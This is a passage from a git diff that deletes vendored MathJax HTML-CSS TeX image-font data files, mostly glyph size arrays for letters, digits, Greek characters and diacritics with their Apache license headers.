-      [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,10,0],[10,11,0],[12,14,0],[14,16,1],
-      [16,20,1],[19,23,1],[23,27,0],[27,33,1],[32,39,1],[38,45,1]
-    ],
-    0x36: [  // DIGIT SIX
-      [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[12,14,0],[14,16,1],
-      [16,19,1],[19,24,1],[23,28,1],[27,33,1],[32,39,1],[38,45,2]
-    ],
-    0x37: [  // DIGIT SEVEN
-      [5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],[13,14,0],[15,16,1],
-      [18,20,1],[21,24,1],[25,27,0],[30,33,1],[36,40,2],[42,46,2]
-    ],
-    0x38: [  // DIGIT EIGHT
-      [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[13,16,1],
-      [16,20,1],[19,24,1],[22,27,0],[26,33,1],[31,39,1],[37,45,1]
-    ],
-    0x39: [  // DIGIT NINE
-      [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[13,16,1],
-      [16,19,1],[19,24,1],[22,27,0],[26,33,1],[31,39,1],[37,45,1]
-    ],
-    0x3A: [  // COLON
-      [3,3,0],[3,4,0],[4,4,0],[4,5,0],[5,6,0],[6,7,0],[6,9,0],[8,10,0],
-      [9,12,0],[11,15,0],[13,17,0],[15,21,0],[18,24,0],[21,28,0]
-    ],
-    0x3B: [  // SEMICOLON
-      [3,4,1],[3,6,2],[4,6,2],[4,7,2],[5,9,3],[6,10,3],[6,13,4],[8,14,4],
-      [9,17,5],[11,21,6],[13,24,7],[15,30,9],[18,35,11],[21,41,13]
-    ],
-    0x3D: [  // EQUALS SIGN
-      [6,2,-1],[7,3,-1],[8,3,-1],[10,3,-1],[11,4,-2],[13,4,-2],[16,5,-3],[19,5,-3],
-      [22,7,-3],[26,10,-4],[31,9,-5],[37,11,-6],[43,14,-8],[52,16,-9]
-    ],
-    0x3F: [  // QUESTION MARK
-      [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[13,15,0],
-      [16,20,0],[19,24,0],[22,28,0],[26,34,0],[31,41,0],[37,47,0]
-    ],
-    0x40: [  // COMMERCIAL AT
-      [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[14,11,0],[16,14,0],[19,15,0],
-      [22,20,0],[26,24,0],[31,27,0],[37,34,1],[44,41,1],[52,47,1]
-    ],
-    0x41: [  // LATIN CAPITAL LETTER A
-      [5,5,0],[6,7,0],[7,7,0],[9,8,0],[10,10,0],[12,12,0],[14,15,0],[17,16,0],
-      [20,20,0],[23,24,0],[28,28,0],[33,34,0],[39,41,0],[46,47,0]
-    ],
-    0x42: [  // LATIN CAPITAL LETTER B
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[17,15,0],
-      [21,19,0],[25,23,0],[29,26,0],[34,33,0],[41,39,0],[49,45,0]
-    ],
-    0x43: [  // LATIN CAPITAL LETTER C
-      [6,5,0],[7,6,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],[16,14,0],[19,16,1],
-      [23,21,1],[27,25,1],[32,27,0],[38,35,1],[45,41,1],[54,48,1]
-    ],
-    0x44: [  // LATIN CAPITAL LETTER D
-      [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[13,11,0],[16,14,0],[18,15,0],
-      [22,19,0],[26,23,0],[31,26,0],[36,33,0],[43,39,0],[51,45,0]
-    ],
-    0x45: [  // LATIN CAPITAL LETTER E
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,15,0],
-      [21,19,0],[25,23,0],[30,26,0],[35,33,0],[42,39,0],[50,46,1]
-    ],
-    0x46: [  // LATIN CAPITAL LETTER F
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[17,15,0],
-      [21,19,0],[24,23,0],[29,26,0],[34,33,0],[41,38,0],[48,45,0]
-    ],
-    0x47: [  // LATIN CAPITAL LETTER G
-      [6,5,0],[7,6,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],[16,14,0],[19,16,1],
-      [23,21,1],[27,25,1],[32,27,0],[38,35,1],[45,41,1],[54,48,1]
-    ],
-    0x48: [  // LATIN CAPITAL LETTER H
-      [6,5,0],[8,6,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],[17,14,0],[20,15,0],
-      [24,19,0],[29,23,0],[34,26,0],[40,33,0],[48,39,0],[57,45,0]
-    ],
-    0x49: [  // LATIN CAPITAL LETTER I
-      [4,5,0],[5,6,0],[5,6,0],[6,8,0],[8,9,0],[9,11,0],[10,14,0],[12,15,0],
-      [15,19,0],[17,23,0],[20,26,0],[24,33,0],[29,39,0],[34,45,0]
-    ],
-    0x4A: [  // LATIN CAPITAL LETTER J
-      [5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],[13,14,0],[15,16,1],
-      [18,20,1],[21,24,1],[25,26,0],[29,34,1],[35,40,1],[41,46,1]
-    ],
-    0x4B: [  // LATIN CAPITAL LETTER K
-      [6,5,0],[8,7,1],[9,7,1],[11,9,1],[12,10,1],[15,12,1],[17,15,1],[20,16,1],
-      [24,20,1],[29,24,1],[34,27,1],[40,33,0],[48,39,0],[57,46,1]
-    ],
-    0x4C: [  // LATIN CAPITAL LETTER L
-      [5,6,1],[6,7,1],[7,7,1],[8,9,1],[9,10,1],[11,12,1],[13,15,1],[15,16,1],
-      [18,20,1],[21,24,1],[25,27,1],[30,33,1],[35,40,1],[42,46,1]
-    ],
-    0x4D: [  // LATIN CAPITAL LETTER M
-      [7,5,0],[9,6,0],[10,6,0],[12,8,0],[14,9,0],[17,11,0],[20,14,0],[24,15,0],
-      [28,19,0],[34,23,0],[40,26,0],[47,33,0],[56,39,0],[67,46,1]
-    ],
-    0x4E: [  // LATIN CAPITAL LETTER N
-      [6,5,0],[8,6,0],[9,6,0],[11,8,0],[12,10,0],[15,11,0],[17,14,0],[20,16,0],
-      [24,19,0],[29,24,0],[34,27,0],[40,34,0],[48,40,0],[57,45,0]
-    ],
-    0x4F: [  // LATIN CAPITAL LETTER O
-      [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[14,11,0],[16,14,0],[19,16,1],
-      [22,21,1],[26,25,1],[31,27,0],[37,35,1],[44,41,1],[52,48,1]
-    ],
-    0x50: [  // LATIN CAPITAL LETTER P
-      [6,5,0],[7,7,1],[8,7,1],[9,9,1],[11,10,1],[13,12,1],[15,15,1],[17,16,1],
-      [21,20,1],[24,24,1],[29,27,1],[34,34,1],[41,40,1],[48,46,1]
-    ],
-    0x51: [  // LATIN CAPITAL LETTER Q
-      [6,6,1],[7,8,2],[8,8,2],[10,10,2],[11,12,3],[14,14,3],[16,18,4],[19,19,4],
-      [22,25,5],[26,30,6],[31,34,7],[37,43,9],[44,51,11],[52,59,13]
-    ],
-    0x52: [  // LATIN CAPITAL LETTER R
-      [5,6,0],[6,7,0],[8,7,0],[9,9,0],[10,10,0],[12,12,0],[15,15,0],[17,17,1],
-      [20,21,1],[24,25,1],[29,27,0],[34,35,1],[40,41,1],[48,47,1]
-    ],
-    0x53: [  // LATIN CAPITAL LETTER S
-      [5,5,0],[6,7,0],[7,7,0],[8,8,0],[9,10,0],[11,12,0],[13,15,0],[15,17,1],
-      [18,21,1],[21,25,1],[25,28,0],[30,35,1],[35,41,1],[42,48,1]
-    ],
-    0x54: [  // LATIN CAPITAL LETTER T
-      [6,5,0],[7,6,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],[16,14,0],[19,15,0],
-      [23,19,0],[27,23,0],[32,26,0],[38,32,0],[45,38,0],[54,45,0]
-    ],
-    0x55: [  // LATIN CAPITAL LETTER U
-      [6,5,0],[8,6,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],[17,14,0],[20,16,1],
-      [24,20,1],[29,24,1],[34,26,0],[40,34,1],[48,40,1],[57,47,2]
-    ],
-    0x56: [  // LATIN CAPITAL LETTER V
-      [6,5,0],[8,6,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],[17,14,0],[21,17,1],
-      [24,20,1],[29,24,1],[34,27,0],[41,34,1],[48,40,1],[58,47,2]
-    ],
-    0x57: [  // LATIN CAPITAL LETTER W
-      [8,5,0],[10,6,0],[12,6,0],[14,8,0],[16,9,0],[19,11,0],[22,14,0],[27,17,1],
-      [32,20,1],[37,24,1],[44,27,0],[53,34,1],[63,41,2],[74,47,2]
-    ],
-    0x58: [  // LATIN CAPITAL LETTER X
-      [6,5,0],[7,7,1],[9,7,1],[10,9,1],[12,10,1],[14,12,1],[16,15,1],[20,16,1],
-      [23,20,1],[28,24,1],[33,27,1],[39,34,1],[46,39,0],[55,45,0]
-    ],
-    0x59: [  // LATIN CAPITAL LETTER Y
-      [7,5,0],[8,6,0],[9,6,0],[11,8,0],[13,9,0],[15,11,0],[18,14,0],[21,15,0],
-      [25,19,0],[29,23,0],[35,26,0],[41,33,0],[49,39,0],[58,45,0]
-    ],
-    0x5A: [  // LATIN CAPITAL LETTER Z
-      [5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,15,0],
-      [20,19,0],[24,23,0],[28,26,0],[33,33,0],[39,39,0],[47,45,0]
-    ],
-    0x5B: [  // LEFT SQUARE BRACKET
-      [4,8,2],[4,10,3],[5,10,3],[6,12,3],[7,14,4],[8,16,4],[9,21,5],[11,23,6],
-      [13,28,8],[15,36,9],[18,39,10],[21,47,12],[25,57,14],[30,66,16]
-    ],
-    0x5D: [  // RIGHT SQUARE BRACKET
-      [4,8,2],[4,10,3],[5,10,3],[6,12,3],[6,14,4],[7,16,4],[8,21,5],[10,23,6],
-      [11,28,8],[13,36,9],[15,39,10],[18,48,12],[21,57,14],[25,66,16]
-    ],
-    0x5E: [  // CIRCUMFLEX ACCENT
-      [4,1,-4],[5,2,-4],[6,2,-4],[7,2,-6],[8,2,-7],[9,3,-8],[11,4,-10],[13,4,-12],
-      [15,5,-14],[18,6,-17],[21,7,-20],[25,8,-25],[30,10,-29],[35,11,-34]
-    ],
-    0x5F: [  // LOW LINE
-      [4,2,1],[5,2,1],[6,2,1],[7,2,1],[8,2,1],[10,2,1],[11,2,1],[14,2,1],
-      [16,3,2],[19,4,3],[22,4,3],[27,5,4],[32,5,4],[37,6,5]
-    ],
-    0x61: [  // LATIN SMALL LETTER A
-      [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[11,9,0],[13,10,0],
-      [16,12,0],[18,15,0],[22,17,0],[26,22,1],[31,26,1],[36,30,1]
-    ],
-    0x62: [  // LATIN SMALL LETTER B
-      [4,5,0],[4,6,0],[5,6,0],[6,8,0],[7,9,0],[8,11,0],[10,14,0],[11,16,0],
-      [13,19,0],[16,23,0],[19,27,0],[22,34,1],[26,40,1],[31,46,1]
-    ],
-    0x63: [  // LATIN SMALL LETTER C
-      [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],
-      [13,12,0],[16,15,0],[19,17,0],[22,22,1],[26,26,1],[31,30,1]
-    ],
-    0x64: [  // LATIN SMALL LETTER D
-      [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[12,14,0],[14,15,0],
-      [16,19,0],[19,23,0],[23,26,0],[27,34,1],[32,40,1],[38,46,1]
-    ],
-    0x65: [  // LATIN SMALL LETTER E
-      [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],
-      [13,12,0],[16,15,0],[19,17,0],[22,22,1],[26,26,1],[31,30,1]
-    ],
-    0x66: [  // LATIN SMALL LETTER F
-      [5,6,1],[5,8,2],[6,8,2],[7,10,2],[8,12,3],[9,14,3],[10,18,4],[12,19,4],
-      [14,25,5],[16,30,6],[19,35,8],[23,44,10],[27,52,12],[32,60,13]
-    ],
-    0x67: [  // LATIN SMALL LETTER G
-      [4,4,1],[5,6,2],[5,6,2],[6,7,2],[7,9,3],[9,10,3],[10,13,4],[12,14,4],
-      [14,17,5],[17,21,6],[20,25,8],[23,31,10],[28,37,12],[33,43,14]
-    ],
-    0x68: [  // LATIN SMALL LETTER H
-      [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[13,16,0],
-      [16,19,0],[18,23,0],[22,27,0],[26,34,1],[31,40,1],[36,46,1]
-    ],
-    0x69: [  // LATIN SMALL LETTER I
-      [3,5,0],[3,6,0],[4,6,0],[4,8,0],[5,10,0],[6,11,0],[7,14,0],[8,15,0],
-      [10,18,0],[12,23,0],[14,26,0],[16,32,1],[19,38,1],[23,44,1]
-    ],
-    0x6A: [  // LATIN SMALL LETTER J
-      [4,6,1],[5,8,2],[5,8,2],[6,10,2],[7,13,3],[8,14,3],[9,18,4],[10,20,4],
-      [12,24,5],[14,30,6],[17,34,8],[19,42,10],[23,49,12],[27,57,14]
-    ],
-    0x6B: [  // LATIN SMALL LETTER K
-      [4,5,0],[5,6,0],[5,6,0],[6,8,0],[7,9,0],[9,11,0],[10,14,0],[12,16,0],
-      [14,19,0],[17,23,0],[20,27,0],[24,34,1],[28,40,1],[33,46,1]
-    ],
-    0x6C: [  // LATIN SMALL LETTER L
-      [3,5,0],[3,6,0],[4,6,0],[4,8,0],[5,9,0],[6,11,0],[7,14,0],[8,16,0],
-      [9,19,0],[11,23,0],[13,27,0],[15,34,1],[18,40,1],[21,46,1]
-    ],
-    0x6D: [  // LATIN SMALL LETTER M
-      [6,3,0],[8,4,0],[9,4,0],[10,5,0],[12,6,0],[15,7,0],[17,9,0],[20,10,0],
-      [24,12,0],[28,15,0],[34,17,0],[40,22,1],[48,26,1],[56,30,1]
-    ],
-    0x6E: [  // LATIN SMALL LETTER N
-      [5,3,0],[5,4,0],[6,4,0],[7,5,0],[9,6,0],[10,7,0],[12,9,0],[14,10,0],
-      [17,12,0],[20,15,0],[24,17,0],[28,22,1],[33,26,1],[39,30,1]
-    ],
-    0x6F: [  // LATIN SMALL LETTER O
-      [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[11,9,0],[12,10,0],
-      [15,12,0],[18,15,0],[21,17,0],[25,22,1],[29,26,1],[35,30,1]
-    ],
-    0x70: [  // LATIN SMALL LETTER P
-      [4,4,1],[5,6,2],[5,6,2],[6,7,2],[8,9,3],[9,10,3],[10,13,4],[12,14,4],
-      [15,17,5],[17,21,6],[20,24,7],[24,30,9],[29,36,11],[34,43,14]
-    ],
-    0x71: [  // LATIN SMALL LETTER Q
-      [4,4,1],[5,6,2],[5,6,2],[6,7,2],[7,9,3],[9,10,3],[10,13,4],[12,14,4],
-      [14,17,5],[17,21,6],[20,24,7],[24,30,9],[28,36,11],[34,42,13]
-    ],
-    0x72: [  // LATIN SMALL LETTER R
-      [4,3,0],[5,4,0],[5,4,0],[6,5,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],
-      [14,12,0],[16,15,0],[19,17,0],[23,22,1],[27,26,1],[32,30,1]
-    ],
-    0x73: [  // LATIN SMALL LETTER S
-      [3,3,0],[4,4,0],[5,4,0],[5,5,0],[6,6,0],[7,7,0],[9,9,0],[10,11,1],
-      [12,13,1],[14,16,1],[17,17,0],[20,22,1],[24,26,1],[28,30,1]
-    ],
-    0x74: [  // LATIN SMALL LETTER T
-      [3,5,0],[4,6,0],[4,6,0],[5,7,0],[6,9,0],[7,10,0],[8,13,0],[9,15,0],
-      [11,17,0],[13,22,0],[15,25,0],[18,30,1],[21,36,1],[25,42,1]
-    ],
-    0x75: [  // LATIN SMALL LETTER U
-      [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[12,9,0],[14,10,0],
-      [16,12,0],[19,15,0],[23,17,0],[27,22,1],[32,26,1],[38,30,1]
-    ],
-    0x76: [  // LATIN SMALL LETTER V
-      [4,3,0],[5,4,0],[5,4,0],[6,5,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],
-      [14,12,0],[17,15,0],[20,17,0],[23,22,1],[28,26,1],[33,30,1]
-    ],
-    0x77: [  // LATIN SMALL LETTER W
-      [5,3,0],[6,4,0],[7,4,0],[9,5,0],[10,6,0],[12,7,0],[14,9,0],[17,10,0],
-      [20,12,0],[23,15,0],[28,17,0],[33,22,1],[39,26,1],[46,30,1]
-    ],
-    0x78: [  // LATIN SMALL LETTER X
-      [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[10,9,0],[12,10,0],
-      [15,12,0],[17,15,0],[21,17,0],[24,22,1],[29,26,1],[34,30,1]
-    ],
-    0x79: [  // LATIN SMALL LETTER Y
-      [4,4,1],[5,6,2],[6,6,2],[7,7,2],[8,9,3],[9,10,3],[11,13,4],[13,14,4],
-      [15,17,5],[18,21,6],[21,25,8],[25,31,10],[29,37,12],[35,43,14]
-    ],
-    0x7A: [  // LATIN SMALL LETTER Z
-      [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],
-      [13,12,0],[16,15,0],[19,17,0],[22,22,1],[26,26,1],[31,30,1]
-    ],
-    0x7E: [  // TILDE
-      [4,1,-1],[5,1,-2],[6,1,-2],[7,2,-2],[8,2,-3],[10,2,-3],[12,3,-3],[14,4,-4],
-      [16,3,-6],[19,4,-7],[23,5,-8],[27,5,-10],[32,7,-12],[38,7,-14]
-    ],
-    0xA3: [  // POUND SIGN
-      [5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,15,0],
-      [20,20,0],[24,24,0],[28,27,0],[33,34,1],[39,41,1],[47,48,1]
-    ],
-    0x131: [  // LATIN SMALL LETTER DOTLESS I
-      [3,3,0],[3,4,0],[4,4,0],[4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],
-      [10,12,0],[12,15,0],[14,17,0],[16,22,1],[19,26,1],[23,30,1]
-    ],
-    0x237: [  // LATIN SMALL LETTER DOTLESS J
-      [4,4,1],[4,6,2],[5,6,2],[5,7,2],[6,9,3],[7,10,3],[8,13,4],[9,14,4],
-      [11,17,5],[12,21,6],[15,25,8],[18,31,10],[21,37,12],[24,43,14]
-    ],
-    0x393: [  // GREEK CAPITAL LETTER GAMMA
-      [5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,15,0],
-      [20,19,0],[24,23,0],[28,26,0],[33,33,0],[39,38,0],[47,45,0]
-    ],
-    0x394: [  // GREEK CAPITAL LETTER DELTA
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,15,0],
-      [21,20,0],[25,24,0],[30,28,0],[35,34,0],[42,41,0],[50,47,0]
-    ],
-    0x398: [  // GREEK CAPITAL LETTER THETA
-      [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[14,11,0],[16,14,0],[19,16,1],
-      [22,21,1],[26,25,1],[31,27,0],[37,35,1],[44,42,1],[52,48,1]
-    ],
-    0x39B: [  // GREEK CAPITAL LETTER LAMDA
-      [5,5,0],[6,7,1],[7,7,1],[8,9,1],[9,10,1],[11,12,1],[13,15,1],[15,16,1],
-      [18,21,1],[22,25,1],[26,28,1],[31,35,1],[36,42,1],[43,48,1]
-    ],
-    0x39E: [  // GREEK CAPITAL LETTER XI
-      [6,6,1],[7,7,1],[8,7,1],[9,9,1],[11,10,1],[13,12,1],[15,15,1],[18,16,1],
-      [21,20,1],[25,24,1],[30,27,1],[36,33,0],[42,40,1],[50,46,1]
-    ],
-    0x3A0: [  // GREEK CAPITAL LETTER PI
-      [6,5,0],[8,6,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],[17,14,0],[20,15,0],
-      [24,19,0],[29,23,0],[34,26,0],[40,33,0],[48,39,0],[57,45,0]
-    ],
-    0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-      [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[13,11,0],[16,14,0],[19,15,0],
-      [22,19,0],[26,23,0],[31,26,0],[37,33,0],[44,39,0],[52,45,0]
-    ],
-    0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-      [6,5,0],[7,6,0],[9,6,0],[10,8,0],[12,9,0],[14,11,0],[17,14,0],[20,15,0],
-      [23,20,0],[28,24,0],[33,27,0],[39,33,0],[46,40,0],[55,46,0]
-    ],
-    0x3A6: [  // GREEK CAPITAL LETTER PHI
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[17,15,0],
-      [21,19,0],[24,23,0],[29,26,0],[34,33,0],[41,39,0],[48,45,0]
-    ],
-    0x3A8: [  // GREEK CAPITAL LETTER PSI
-      [6,5,0],[7,6,0],[9,6,0],[10,8,0],[12,9,0],[14,11,0],[17,14,0],[20,15,0],
-      [23,19,0],[28,23,0],[33,26,0],[39,33,0],[46,39,0],[55,45,0]
-    ],
-    0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,15,0],
-      [21,20,0],[25,24,0],[30,27,0],[36,34,0],[42,40,0],[50,47,0]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Italic"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/Arrows.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/Arrows.js
deleted file mode 100644
index 730ec446..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/Arrows.js
+++ /dev/null
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-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/Arrows.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/CombDiacritMarks.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/CombDiacritMarks.js
deleted file mode 100644
index 4e2c9117..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Main:{768:[[2,2,-3],[3,2,-4],[2,3,-5],[3,3,-5],[4,3,-6],[4,4,-8],[4,4,-10],[6,6,-12],[6,7,-14],[7,7,-17],[8,8,-20],[10,10,-23],[11,11,-28],[13,13,-34]],769:[[3,2,-3],[3,2,-4],[2,3,-5],[3,3,-5],[4,3,-6],[4,4,-8],[4,5,-9],[5,6,-12],[7,7,-14],[7,7,-17],[8,9,-19],[10,10,-23],[12,12,-28],[13,13,-34]],770:[[3,2,-3],[4,3,-4],[3,3,-5],[4,3,-5],[5,3,-7],[6,4,-9],[6,4,-10],[8,5,-13],[8,6,-15],[10,7,-17],[12,7,-21],[14,9,-24],[16,10,-29],[19,12,-35]],771:[[3,1,-4],[4,1,-5],[5,1,-7],[5,1,-7],[5,1,-8],[6,3,-9],[8,3,-11],[9,3,-14],[10,3,-17],[12,4,-19],[14,4,-23],[17,5,-26],[20,6,-32],[23,7,-38]],772:[[3,1,-3],[4,1,-5],[5,1,-6],[6,1,-6],[6,1,-7],[7,1,-10],[8,1,-11],[9,2,-13],[11,3,-15],[13,2,-18],[15,2,-22],[18,3,-26],[21,3,-30],[25,4,-36]],774:[[3,2,-3],[4,2,-4],[4,2,-6],[4,2,-6],[5,3,-6],[6,3,-9],[7,4,-10],[8,5,-12],[10,5,-15],[11,6,-17],[13,7,-21],[15,9,-24],[18,10,-29],[21,12,-34]],775:[[2,1,-4],[2,2,-4],[3,2,-6],[2,2,-6],[3,2,-7],[3,3,-9],[4,3,-11],[4,3,-14],[4,4,-16],[5,5,-18],[6,5,-22],[7,6,-26],[8,7,-31],[9,9,-37]],776:[[3,1,-4],[4,2,-4],[4,2,-6],[4,2,-6],[5,2,-7],[6,3,-9],[7,3,-11],[8,3,-14],[10,4,-16],[11,4,-19],[13,5,-22],[15,6,-26],[18,7,-31],[21,8,-37]],778:[[2,2,-3],[2,2,-4],[3,2,-6],[4,2,-6],[3,3,-6],[4,3,-9],[5,4,-10],[6,5,-13],[6,6,-15],[8,7,-17],[9,8,-22],[11,8,-25],[12,10,-30],[15,12,-36]],779:[[3,2,-3],[4,2,-4],[4,2,-6],[5,2,-6],[5,3,-6],[6,4,-8],[7,4,-10],[8,5,-13],[9,6,-15],[11,7,-17],[12,8,-20],[15,9,-24],[17,11,-28],[20,13,-34]],780:[[3,1,-3],[4,1,-5],[3,2,-6],[4,2,-6],[5,2,-7],[6,3,-9],[6,3,-10],[7,3,-13],[8,4,-15],[10,5,-17],[12,6,-21],[13,6,-24],[16,8,-29],[19,9,-34]],824:[[5,6,1],[5,8,2],[6,10,2],[7,10,2],[8,12,3],[9,16,4],[11,18,4],[12,23,5],[15,27,6],[18,31,7],[20,38,8],[24,44,10],[29,52,12],[34,63,14]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiacritMarks.js");
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/CombDiactForSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/CombDiactForSymbols.js
deleted file mode 100644
index 3cda8537..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/CombDiactForSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/CombDiactForSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Main:{8407:[[4,2,-3],[4,2,-4],[5,3,-5],[6,3,-6],[7,3,-7],[8,4,-8],[10,5,-9],[11,5,-12],[14,6,-14],[16,7,-17],[18,9,-20],[21,10,-24],[26,12,-28],[30,14,-33]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiactForSymbols.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/GeneralPunctuation.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/GeneralPunctuation.js
deleted file mode 100644
index c11dd10a..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/GeneralPunctuation.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/GeneralPunctuation.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/GeometricShapes.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/GeometricShapes.js
deleted file mode 100644
index cc4c99a9..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/GeometricShapes.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/GeometricShapes.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/GreekAndCoptic.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/GreekAndCoptic.js
deleted file mode 100644
index 488869c3..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/GreekAndCoptic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/GreekAndCoptic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
